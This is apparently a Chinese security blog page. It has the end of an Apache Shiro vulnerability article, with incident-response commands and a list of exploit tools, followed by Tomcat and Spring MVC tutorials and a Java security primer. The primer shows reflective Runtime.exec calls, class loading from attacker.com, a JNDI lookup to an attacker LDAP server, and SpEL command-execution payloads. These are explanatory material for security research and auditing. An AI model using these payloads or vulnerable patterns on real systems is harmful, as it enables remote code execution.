ss -antp | grep -v "127.0.0.1"

# 5. 检查定时任务
crontab -l
cat /etc/cron.d/*
ls -la /etc/cron.daily/

Java 进程分析:

# 查找可疑的类加载
jcmd <pid> VM.classloader_stats

# 导出堆内存分析
jmap -dump:format=b,file=/tmp/heap.hprof <pid>

# 使用 MAT 工具分析堆内存
# 查找 org.apache.shiro.mgt.RememberMeManager 实例

6.2 应急处置

紧急止损措施:

# 1. 立即下线应用(或切换到维护页面)
mv webapps/ROOT webapps/ROOT.bak
cp maintenance.html webapps/ROOT/

# 2. 阻断攻击者 IP
iptables -A INPUT -s <attacker_ip> -j DROP

# 3. 清理恶意文件
find / -name "*.jsp" -newer /var/www/ -exec ls -la {} \;
find /tmp -name "*shell*" -exec rm -f {} \;

# 4. 重启应用(清除内存马)
systemctl restart tomcat

恢复步骤:

  1. 升级到最新版本 Shiro
  2. 更换 AES 密钥
  3. 清理所有恶意文件
  4. 全量代码审计
  5. 修改所有用户密码
  6. 重新上线并加强监控

6.3 常用工具对比

工具名称 功能 适用场景 推荐指数
ShiroExploit GUI 利用工具 快速检测与利用 ★★★★★
ysoserial 生成序列化 Payload 自定义利用链 ★★★★★
shiro_attack Python 利用脚本 批量扫描 ★★★★☆
marshalsec JRMP 利用 绕过某些限制 ★★★☆☆
Burp插件 集成到 Burp 渗透测试 ★★★★☆
nuclei 批量漏洞扫描 资产普查 ★★★★★

工具下载地址:

  • ShiroExploit: https://github.com/feihong-cs/ShiroExploit
  • shiro_attack: https://github.com/sv3nbeast/shiro_attack
  • ysoserial: https://github.com/frohoff/ysoserial

七、总结

Apache Shiro 作为 Java 安全框架,虽然功能强大,但历史上多次出现严重安全漏洞。防护要点:

  1. 及时升级:保持使用最新版本(>= 1.12.0)
  2. 密钥管理:使用随机生成的强密钥(256位推荐)
  3. 最小权限:禁用不需要的功能(如 RememberMe)
  4. 严格配置:URL 权限配置要精确,避免绕过
  5. 多层防御:结合 RASP、WAF、日志监控
  6. 应急响应:建立完善的入侵检测和处置流程

安全是持续的过程,而非一次性的配置。


参考资源

官方文档

  • Apache Shiro 官方文档
  • Shiro Security Reports

CVE 详情

  • CVE-2016-4437 - Shiro-550
  • CVE-2019-12422 - Shiro-721
  • CVE-2020-11989 - 权限绕过
  • CVE-2020-13933 - 权限绕过
  • CVE-2020-17510 - 权限绕过
  • CVE-2021-41303 - Shiro-778
  • CVE-2022-40664 - 认证绕过

技术文章

  • Padding Oracle Attack 原理
  • Java 反序列化漏洞基础
  • Shiro 漏洞原理与利用

工具下载

  • ShiroExploit - GUI 利用工具
  • shiro_attack - Python 利用脚本
  • ysoserial - Java 反序列化 Payload 生成
  • nuclei-templates - 扫描模板
  • Burp-Shiro - Burp 插件

免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。使用本文内容造成的任何后果,作者不承担任何责任。

阅读全文 »

某商城代码审计

发表于 2026-01-15 | 分类于 代码审计 |
阅读全文 »

Tomcat基础

发表于 2025-12-30 | 分类于 Tomcat |

Tomcat容器

第一个servlet

什么是servlet

Server applet即运行在服务器端的小程序

使用Servlet

package com.asset.sec88539;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/helloServlet")
public class ServletDemo1 implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        servletResponse.getWriter().println("ServletDemo1");
    }

    @Override
    public String getServletInfo() {
        return "";
    }

    @Override
    public void destroy() {

    }
}

使用HttpServlet

import java.io.*;
import javax.servlet.http.*;

public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}
  1. web.xml方式配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">    
    <servlet>
        <servlet-name>hello</servlet-name>
        <servlet-class>com.asset.sec88539.HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>

image-20251230145900107

  1. 注解配置
package com.asset.sec88539;

import java.io.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;

@WebServlet(name = "HelloServlet", urlPatterns = "/hello")
public class HelloServlet extends HttpServlet {
    private String message;
    public void init() {
        message = "Hello World!";
    }
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}

image-20251230150040480

servlet之间的继承关系

public class HelloServlet extends HttpServlet
public abstract class HttpServlet extends GenericServlet
public abstract class GenericServlet implements Servlet, ServletConfig, Serializable

image-20251230153609691

image-20251230153720485

image-20251230153700713

第一个filter

package com.asset.sec88539;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class FilterDemo1 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("FilterDemo1");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
    }
}

package com.asset.sec88539;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/hello")
public class FilterDemo2 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("FilterDemo2");
        filterChain.doFilter(servletRequest, servletResponse);
    }
    @Override
    public void destroy() {
    }
}

image-20251230150712128

image-20251230150724542

第一个Listener

package com.asset.sec88539;

import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.lang.reflect.Field;


@WebListener()
public class listenerMem implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        ServletRequest req = sre.getServletRequest();
        Class reqClass = req.getClass();
        try {
            Field field = reqClass.getDeclaredField("request");
            field.setAccessible(true);
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                System.out.println("cmd: " + cmd);
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }
}

image-20251230151303797

image-20251230151311662

JSP

什么是JSP

JSP即java sevlet page

三种jsp代码写法与不同

<%=  %>
<% %>
<%! %>
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>

<%
    System.out.println("index.jsp");//在service中
    int i = 5;
%>
<%!
    int i = 3; //定义成员变量,成员方法
%>
<%= i %>// 输出语句定义的内容
</body>
</html>

image-20251230154936073

image-20251230154343280

阅读全文 »

Spring MVC 拦截器

发表于 2025-12-30 | 分类于 Spring MVC |

拦截器配置

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
package com.asset.sec88540;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

public class InterceptorDemo implements HandlerInterceptor{
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        return true;
    }
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle");
    }
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion");
    }
}
package com.asset.sec88540.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/index")
public class Index {
    @RequestMapping("/index")
    private String pcPay(String name) {
        String form = name + "欢迎来到PC端支付页面";
        System.out.println(form);
        return form;
    }

    @RequestMapping("/login")
    private String login(String name) {
        String form = name + "login";
        System.out.println(form);
        return form;
    }

    @RequestMapping("/info")
    private String info(String name) {
        String form = name + "info";
        System.out.println(form);
        return form;
    }
}
package com.asset.sec88540.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/user")
public class user {
    @RequestMapping("info")
    public String info(String name) {
        String form = name + "  user info";
        System.out.println(form);
        return form;
    }
}
package com.asset.sec88540;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Sec88540Application {

    public static void main(String[] args) {
        SpringApplication.run(Sec88540Application.class, args);
    }

}

xml配置

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="
        http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/mvc
        http://www.springframework.org/schema/mvc/spring-mvc.xsd">

    <!-- 1. 配置自定义拦截器的Bean实例 -->
    <bean id="interceptordemo" class="com.asset.sec88540.InterceptorDemo"/>

    <!-- 2. 注册拦截器(核心配置:<mvc:interceptors>) -->
    <mvc:interceptors>
        <!-- 方式1:全局拦截器(拦截所有请求,无排除路径) -->
        <!-- 直接嵌套拦截器Bean,对所有DispatcherServlet处理的请求生效 -->
        <!-- <ref bean="customHandlerInterceptor"/> -->

        <!-- 方式2:指定路径拦截器(推荐,精准控制拦截/排除路径) -->
        <mvc:interceptor>
            <!-- 配置需要拦截的路径(支持Ant风格通配符:*匹配单层路径,**匹配多层路径) -->
            <mvc:mapping path="/**"/> <!-- 拦截所有请求 -->
            <!-- 配置需要排除的路径(不拦截的请求,优先级高于mapping) -->
            <mvc:exclude-mapping path="/static/**"/> <!-- 排除静态资源 -->
            <mvc:exclude-mapping path="/login"/> <!-- 排除登录接口 -->
            <!-- 引用自定义拦截器Bean -->
            <ref bean="interceptordemo"/>
        </mvc:interceptor>
    </mvc:interceptors>

</beans>
package com.asset.sec88540;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ImportResource;

@ImportResource(locations = "classpath:spring-mvc-interceptor.xml")
@SpringBootApplication
public class Sec88540Application {

    public static void main(String[] args) {
        SpringApplication.run(Sec88540Application.class, args);
    }

}

image-20251231154226823

注解配置

package com.asset.sec88540;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.*;

@Configuration
public class MyWebMvcConfigurerAdapter implements WebMvcConfigurer {
    @Bean
    public InterceptorDemo interceptorDemo() {
        return new InterceptorDemo();
    }
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(interceptorDemo()).addPathPatterns("/**");
    }
}

image-20251231152809018

拦截器拦截顺序

  1. 同时命中addPathPatterns和excludePathPatterns,走excludePathPatterns
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(interceptorDemo())
                .addPathPatterns("/index/**")
                .excludePathPatterns("/index/login");
    }
        // /index/index → 在add中、不在exclude → 拦截
        // /index/login → 在add中、但在exclude → 不拦截
        // /user/info → 不在add、不在exclude → 不拦截

image-20260107094032283

  1. 未指定addPathPatterns(使用默认/**)
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(interceptorDemo())
                .excludePathPatterns("/index/login");
    }

image-20260107092923538

阅读全文 »

Java基础

发表于 2025-12-29 | 分类于 Java基础 |

Java基础

本系列是 Java 安全研究的基础篇。后面要啃的内存马、Fastjson 反序列化、鉴权绕过,本质上都是下面这几块 Java 底层机制的排列组合:

  • 反射 —— 反序列化和内存马的”手”(动态加载、实例化、改私有字段都靠它);
  • 序列化 —— 反序列化漏洞的载体;
  • 类加载 —— JSP webshell 和自定义 ClassLoader 加载恶意类的原理;
  • JNDI —— Fastjson / Log4j RCE 的落地点;
  • 表达式注入、动态代理 —— 框架类漏洞的常见入口。

本文按安全研究中的高频程度排序,把 Java 基础拆成九个板块。


一、Java 程序运行机制

1.1 编译执行流程

Java 源码 (.java)
      │ javac 编译(编译期)
      ▼
字节码文件 (.class)  —— 平台无关,跨平台的关键
      │ 类加载器 加载(运行期)
      ▼
JVM 执行
      ├── 解释执行:逐条翻译字节码,慢
      └── JIT 编译:热点代码编译为本地机器码,快

一个 .java 源文件可以对应多个 .class(内部类、Lambda 等)。JSP 在 Tomcat 里的本质也是编译成 Servlet 的 .class 再执行——这决定了 JSP webshell 与 Servlet 内存马在执行层面是同一条链。

1.2 安全研究必会:javap 反编译

反序列化和内存马分析中,看字节码比看源码更接近真相(比如确认某个方法到底调没调、构造器参数是什么)。JDK 自带 javap:

# 反编译方法调用(不含方法体)
javap -c -p com.example.SomeClass

# 反编译完整实现(本地变量、行号)
javap -c -l -p com.example.SomeClass

# 只看类签名、继承关系、字段、方法声明
javap -p com.example.SomeClass

本博客《内存马原理总纲》里所有 Tomcat 调用链(如 CoyoteAdapter.service() → StandardWrapperValve.invoke() → servlet.service()),都是用 javap 对 catalina.jar 逐一核实过才写出来的。

1.3 与安全研究的关系

机制 安全意义
字节码 Java Agent 内存马改的就是内存里的字节码,见《Java Agent 内存马》
类加载 JSP webshell、URLClassLoader 加载远程恶意类
JVM 执行 反序列化漏洞最终也落在”调用链 + 方法执行”上

二、字符串操作

2.1 String 不可变性

String 是 final 类,char[](JDK 8)/ byte[](JDK 9+)由 private final 修饰,一旦创建不可修改。所有”修改”都是创建新对象:

String s = "abc";
String s2 = s + "d";   // 产生新对象,s 不变
String s3 = s.toUpperCase();  // 产生新对象

安全意义:不可变保证 equals 判断的是内容而非引用地址,是散列键安全的根基;也意味着拼接大量字符串会有性能问题(引出 StringBuilder)。

2.2 == 与 equals:代码审计的高频点

  • == 比较引用地址(基本类型比较值);
  • equals 比较内容(String 重写了它)。
String a = "abc";                    // 字面量 → 常量池
String b = "abc";                    // 复用常量池中同一对象
String c = new String("abc");        // 堆上新对象

a == b          // true   (同一常量池对象)
a == c          // false  (地址不同!)
a.equals(c)     // true   (内容相同)

审计点:用 == 比较字符串(尤其用户输入)是典型 Bug,会导致认证/权限判断被绕过或”明明相同却不相等”。

// ❌ 用 == 比较用户输入
if (userInput == "admin") { ... }   // 大概率永远不成立

// ✅ 用 equals / equalsIgnoreCase
if ("admin".equals(userInput)) { ... }

2.3 字符串拼接与注入(审计核心)

字符串拼接本身不是漏洞,但把不可信输入拼进敏感上下文就会变成注入:

// SQL 注入
String sql = "SELECT * FROM user WHERE name = '" + name + "'";

// 命令注入
String cmd = "/bin/sh -c " + command;

// XSS
String html = "<div>" + content + "</div>";

// 模板/表达式注入(拼进 SpEL / OGNL)

审计手法:全局搜 + 拼接、String.format、MessageFormat,追踪变量是否来自 getParameter / getHeader / 反序列化输入。

2.4 StringBuilder / StringBuffer

大量拼接用 StringBuilder(单线程)或 StringBuffer(线程安全,方法加锁):

StringBuilder sb = new StringBuilder();
for (String line : lines) {
    sb.append(line);      // 高效,不产生中间对象
}

审计点:append 的变量如果是用户可控且最终拼进命令/SQL/HTML,与 + 拼接同样危险。

2.5 安全分析常用的字符串操作

反序列化 Payload、Base64、编码绕过里几乎天天用到:

// Base64
String b64 = Base64.getEncoder().encodeToString(data);
byte[] raw = Base64.getDecoder().decode(b64);

// 十六进制(序列化字节流分析常用)
String hex = HexFormat.of().formatHex(bytes);

// URL 编码(鉴权绕过的核心,见[《Java Web 鉴权绕过模式深度剖析》](/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/08/Java-Web%E9%89%B4%E6%9D%83%E7%BB%95%E8%BF%87%E6%A8%A1%E5%BC%8F%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90/))
String enc = URLEncoder.encode("/admin;.js", "UTF-8");

// 字节数组 ↔ 字符串(读命令输出/读文件内容)
String content = new String(bytes, StandardCharsets.UTF_8);

三、流程(程序流程与异常)

3.1 基本流程控制

顺序、分支(if/else、switch)、循环(for、while、for-each)、break/continue/return。这部分语法简单,重点放在安全审计视角的几类”流程缺陷”。

3.2 异常体系

Throwable
 ├── Error          —— 程序无法恢复,如 OutOfMemoryError、StackOverflowError
 └── Exception
      ├── 受检异常(Checked)—— 编译器强制处理,如 IOException
      └── 非受检异常(RuntimeException)—— 不必显式声明,如 NPE、ClassCastException
try {
    // 可能抛异常
    Class.forName(userInput).newInstance();
} catch (ClassNotFoundException e) {
    // 处理
} finally {
    // 无论是否异常都执行
}

3.3 异常处理的安全审计点

模式 风险
catch (Exception e) {} 空捕获吞异常 攻击者触发的异常被静默吞掉,漏洞行为不可见,难以排查
catch 后 return 继续走逻辑 可能绕过权限/校验(异常被当成”通过”)
finally 里的 return 覆盖 try 中的 return,造成意外的流程跳转
异常信息直接回显给前端 泄露堆栈、类名、框架版本(ClassNotFoundException: com.sun.rowset.JdbcRowSetImpl 会暴露内部类路径)
// ❌ 吞异常:鉴权模块 catch 到解析失败直接放行
try {
    User u = tokenService.parse(token);
    if (u == null) return false;
} catch (Exception e) {
    return true;   // ← 恶意 token 解析异常 → 直接放行!
}

// ✅ 失败即拒绝(fail-closed)
try {
    User u = tokenService.parse(token);
    return u != null && u.hasRole("ADMIN");
} catch (Exception e) {
    log.error("token 解析失败", e);
    return false;  // 异常 → 拒绝
}

3.4 try-with-resources

自动关闭实现了 AutoCloseable 的资源(流、连接):

try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.ser"))) {
    Object o = ois.readObject();   // 反序列化入口,见第五节
}

四、反射机制(安全研究的基石)

反射 = 运行时动态获取类的结构并操作它。这是 Java 安全里最重要的一块:反序列化漏洞用它动态加载 @type 指定的类,内存马用它改容器私有字段,几乎所有 gadget 链都要靠它。

4.1 获取 Class 对象的三种方式

// 1. 类名(最常用,字符串可控 → 可指定任意类)
Class<?> c1 = Class.forName("com.sun.rowset.JdbcRowSetImpl");

// 2. 类字面量
Class<?> c2 = JdbcRowSetImpl.class;

// 3. 实例
JdbcRowSetImpl obj = new JdbcRowSetImpl();
Class<?> c3 = obj.getClass();

注意:Class.forName(name) 默认会执行静态初始化块(static initializer),而 ClassLoader.loadClass(name) 不会。某些 gadget 依赖静态块触发副作用,因此两者在利用链里不能混用。

4.2 构造对象、调用方法、访问字段

Class<?> clazz = Class.forName("java.lang.Runtime");

// 构造对象:优先 getDeclaredConstructor().newInstance()(newInstance() 在 JDK 9+ 已废弃)
Constructor<?> ctor = clazz.getDeclaredConstructor();
Object runtime = ctor.newInstance();          // 私有构造也能 setAccessible(true) 后调用

// 调用方法:invoke 第一个参数是"目标对象",静态方法传 null
Method getRuntime = clazz.getMethod("getRuntime");
Object instance = getRuntime.invoke(null);
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(instance, "id");                  // 反射执行命令

// 访问字段:getDeclaredField 拿私有字段,setAccessible(true) 绕访问控制
Field field = clazz.getDeclaredField("somePrivateField");
field.setAccessible(true);
Object value = field.get(instance);

反射执行命令的经典写法(内存马、反序列化 payload 里反复出现):

String cmd = "id";
Class<?> rc = Class.forName("java.lang.Runtime");
Method m = rc.getMethod("exec", String.class);
m.invoke(rc.getMethod("getRuntime").invoke(null), cmd);

4.3 setAccessible(true):绕过私有访问控制

getDeclaredField / getDeclaredMethod 拿到私有成员后,必须 setAccessible(true) 才能访问/调用。内存马正是靠它读取并修改 Tomcat 内部私有字段:

// 拿 Tomcat 的 StandardContext(Filter/Servlet 内存马的入口)
// 见《内存马原理总纲》:把恶意代码 + URL 映射组装进容器注册表
Object request = ...;  // 从当前请求对象向上反推得到 StandardContext
Field ctxField = request.getClass().getDeclaredField("context");
ctxField.setAccessible(true);
Object standardContext = ctxField.get(request);

4.4 高版本 JDK 的反射限制

  • JDK 9+ 模块系统:反射访问 JDK 内部模块(sun.*、jdk.internal.*)默认被拒,需启动参数 --add-opens java.base/sun.nio.ch=ALL-UNNAMED;
  • newInstance() 已废弃:尽量用 getDeclaredConstructor().newInstance();
  • 反序列化中大量依赖 sun.reflect.* 的 gadget,在 JDK 17+ 多数已失效。

4.5 反射的应用场景对照

安全场景 反射扮演的角色
Fastjson AutoType @type 字段 → Class.forName → 反射实例化 → 反射调 setter,见《Fastjson反序列化漏洞深度剖析》
内存马 反射拿 StandardContext、filterConfigs 等私有字段并修改
绕过 setAccessible(true) 调私有方法、读私有字段
动态代理 Proxy.newProxyInstance 底层依赖反射,见第八节

五、序列化与反序列化

5.1 什么是序列化

序列化 = 把对象转成字节流(用于存储/网络传输);反序列化 = 把字节流还原成对象。Java 原生序列化靠 ObjectOutputStream / ObjectInputStream,对象实现 Serializable 即可:

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj.ser"));
oos.writeObject(user);

// 反序列化 ← 安全研究的重点
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj.ser"));
User user = (User) ois.readObject();

5.2 序列化的魔术方法

readObject / writeObject 等方法是反序列化漏洞的入口点:

public class User implements Serializable {
    private static final long serialVersionUID = 1L;  // 版本号,不匹配会抛 InvalidClassException

    private String name;
    private String command;

    // 自定义反序列化逻辑(漏洞的入口就在这里)
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();       // 先按默认规则还原字段
        // ❌ 反序列化时直接调用危险方法 → 攻击者构造恶意字节流即可 RCE
        Runtime.getRuntime().exec(command);
    }
}

常见魔术方法:

方法 触发时机 说明
readObject 反序列化时 最主要的漏洞入口
readObjectNoData 流中无该类数据时 反序列化也会触发
readResolve readObject 返回后 可替换返回对象
writeObject 序列化时 序列化逻辑
writeReplace / readResolve 序列化/反序列化时 替换对象

5.3 反序列化漏洞原理

核心问题:readObject() 接受的是不可信的字节流,还原对象过程中会调用一系列方法。攻击者构造一个特殊的类结构,让 readObject 的调用链最终落到 Runtime.exec / JNDI lookup 等危险方法上。

恶意字节流(攻击者构造)
   ↓ readObject()          ← 入口(如 HashMap.readObject)
   ↓ 链上的方法调用         ← gadget chain(如 TemplatesImpl → getOutputProperties → newTransformer → 加载恶意字节码)
   ↓ 危险方法               ← sink(Runtime.exec / JNDI lookup / URLClassLoader)

三个要素:

要素 含义 例子
入口 攻击者可控的 readObject HashMap、PriorityQueue、TemplatesImpl
链(Gadget) 串联入口到 sink 的方法调用序列 CommonsCollections、C3P0、JRMP
落点(Sink) 真正执行危险操作 Runtime.exec、InitialContext.lookup、Method.invoke

反序列化 ≠ Fastjson。Java 原生反序列化走 ObjectInputStream.readObject,字节流带类名;Fastjson 是 JSON 反序列化,靠 @type 指定类名 + 反射实例化 + setter 触发。两者入口不同,但都依赖”反射 + 危险方法落点”。

5.4 利用工具与定位手法

  • ysoserial:生成各种 gadget 链的序列化 payload(CommonsCollections1/2/... 等);
  • 定位入口类:全局搜 readObject、ObjectInputStream;
  • 定位 sink:全局搜 Runtime.getRuntime().exec、InitialContext().lookup、URLClassLoader、ProcessBuilder;
  • 判定标准:是否有不可信数据进入 readObject() / 反序列化库的 parse 方法。

防御方向:禁止反序列化不可信数据 / 用白名单 ObjectInputFilter(JDK 9+)/ 换 JSON 等安全格式。详见《Fastjson反序列化漏洞深度剖析》的防御章节。


六、类加载机制

6.1 类加载过程

加载 → 验证 → 准备 → 解析 → 初始化

加载 是安全研究关注的重点:把 .class 字节码读入内存生成 Class 对象。字节码可以来自 classpath、网络、内存(Agent 内存马)。

6.2 双亲委派模型

Bootstrap ClassLoader      JAVA_HOME/lib 核心库(rt.jar / java.base)
        ↑ 委托
Extension/Platform Loader  JAVA_HOME/lib/ext
        ↑ 委托
Application ClassLoader    classpath(应用自己的类)
        ↑ 委托
自定义 ClassLoader         开发者自写

双亲委派:类加载请求先交给父加载器,父加载器找不到才自己加载。意义是保证核心类(如 java.lang.String)只被加载一份,防止伪造。

安全意义:

  • 攻击者若能让某个类的字节码被应用加载器加载到,就等于让代码执行权掌握在自己手里;
  • 反序列化 gadget 需要”目标类在应用 classpath 里”,这就是为什么研究反序列化要先摸清依赖(find . -name "*.jar")。

6.3 URLClassLoader:加载任意位置的类

URLClassLoader 可以加载指定 URL(本地目录、HTTP 远程、jar)下的类,是 webshell 和 RCE 的经典落地方式:

// 从远程服务器加载恶意类
URLClassLoader loader = new URLClassLoader(new URL[] {
    new URL("http://attacker.com/evil/")
});
Class<?> evil = loader.loadClass("Evil");
Object obj = evil.getDeclaredConstructor().newInstance();  // 恶意代码在构造/静态块里执行
// 从内存字节数组直接定义类(无磁盘文件,Agent 型内存马思路)
byte[] bytes = getEvilClassBytes();   // 任意来源
Method define = ClassLoader.class.getDeclaredMethod(
    "defineClass", String.class, byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> evil = (Class<?>) define.invoke(loader, "Evil", bytes, 0, bytes.length);

6.4 自定义 ClassLoader

继承 ClassLoader → 重写 findClass(或 loadClass)→ 读取字节码 → defineClass

JSP 编译后的 _jsp.java / _jsp.class 就是 Tomcat 用 JasperLoader(一个自定义 ClassLoader)加载的。所以 JSP webshell 的本质:上传一个 JSP → Tomcat 编译成 Servlet → JasperLoader 加载 → 执行 _jspService 里的命令代码。

关联阅读:《Tomcat基础》里的 Servlet / JSP 示例,以及内存马系列中”恶意类如何被容器加载”的讨论。


七、JNDI 注入

7.1 什么是 JNDI

JNDI(Java Naming and Directory Interface) 是 Java 的”命名/目录服务统一接口”,可以通过名字查找资源。常见提供方:RMI、LDAP、CORBA、DNS。

Context ctx = new InitialContext();
Object obj = ctx.lookup(userInput);   // 按名字查找

7.2 JNDI 注入原理(RCE 落地点)

如果 lookup 的参数是攻击者可控的,攻击者指向自己的 RMI/LDAP 服务器,返回一个恶意 Reference,目标 JVM 会去 Reference 指定的远程地址拉取 .class 并加载执行:

攻击者构造:  lookup("ldap://attacker:1389/Exploit")
                    ↓
目标 JVM 向 attacker:1389 发起 LDAP 查询
                    ↓
恶意 LDAP 服务器返回 Reference(指向 http://attacker/Exploit.class)
                    ↓
目标 JVM 远程加载 Exploit.class 并实例化 → 构造/静态块中的代码执行 → RCE

这是 Fastjson(JdbcRowSetImpl + dataSourceName + autoCommit)、Log4j2(JNDI Lookup)等 RCE 的核心落地机制。

7.3 高版本 JDK 限制

版本 RMI LDAP 说明
< 6u141 / 7u121 / 8u121 ✅ ✅ 默认可远程加载 codebase
8u121 ~ 8u191 ✅ ✅ 需设 com.sun.jndi.rmi.object.trustURLCodebase=true
≥ 8u191 ❌ ❌ 默认禁止远程加载,需要利用本地 Factory / 绕过

所以高版本 JDK 下 JNDI 注入通常转向:本地 Gadget(如 BeanFactory、Tomcat MBean)、LDAP 本地类引用等。这是审计时判断”这条链还通不通”的关键。

7.4 审计手法

# 搜 JNDI 入口
grep -rn "InitialContext\|ctx.lookup\|lookup(" --include="*.java" .
# 搜 JNDI 相关配置
grep -rn "java.naming\|jndi" --include="*.properties" --include="*.yml" --include="*.xml" .

判断:lookup() 的参数是否来自外部输入(URL、参数、反序列化字段)。


八、动态代理

8.1 什么是动态代理

代理模式:不直接调目标,而是通过代理对象间接调用,在调用前后插入额外逻辑(日志、鉴权、AOP)。动态代理 = 运行时生成代理类,无需手写。

8.2 JDK 动态代理(Proxy + InvocationHandler)

只支持接口:

// 1. 实现 InvocationHandler,所有方法调用都经过 invoke
InvocationHandler handler = (proxy, method, args) -> {
    System.out.println("拦截方法: " + method.getName());
    return method.invoke(target, args);   // 转发给真实对象
};

// 2. 生成代理对象(依赖反射)
Object proxy = Proxy.newProxyInstance(
    target.getClass().getClassLoader(),  // 类加载器
    target.getClass().getInterfaces(),   // 要代理的接口
    handler);

8.3 CGLIB

JDK 代理只代理接口,代理类(无接口)要用 CGLIB,它通过生成目标类的子类实现(Spring AOP 默认策略:有接口用 JDK 代理,无接口用 CGLIB)。

8.4 与安全研究的关系

  • Spring AOP / Spring 内存马:HandlerInterceptor、AopContext 等机制都建立在动态代理上;
  • 反序列化 gadget:部分链(如某些 Templates 相关)利用动态代理拦截 equals/hashCode 触发后续调用;
  • 绕过类名检测:代理类名形如 $Proxy0,在检测”是否出现陌生类”时可作为隐蔽手段。

九、表达式注入基础

9.1 什么是表达式注入

框架经常允许用户输入表达式字符串(SpEL / OGNL / EL / MVEL),表达式由框架解析执行。如果表达式拼接了不可信输入且未隔离,就是表达式注入 → RCE。

9.2 SpEL(Spring 表达式)

// ❌ 表达式来自用户输入
String userExpr = request.getParameter("expr");
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userExpr);  // 解析任意表达式
exp.getValue();                                     // 执行

// 恶意表达式:直接调用静态方法执行命令
// T(java.lang.Runtime).getRuntime().exec('id')
// new javax.script.ScriptEngineManager().getEngineByName("JavaScript").eval("...")
// T(java.net.InetAddress).getByName("dnslog.xxx")

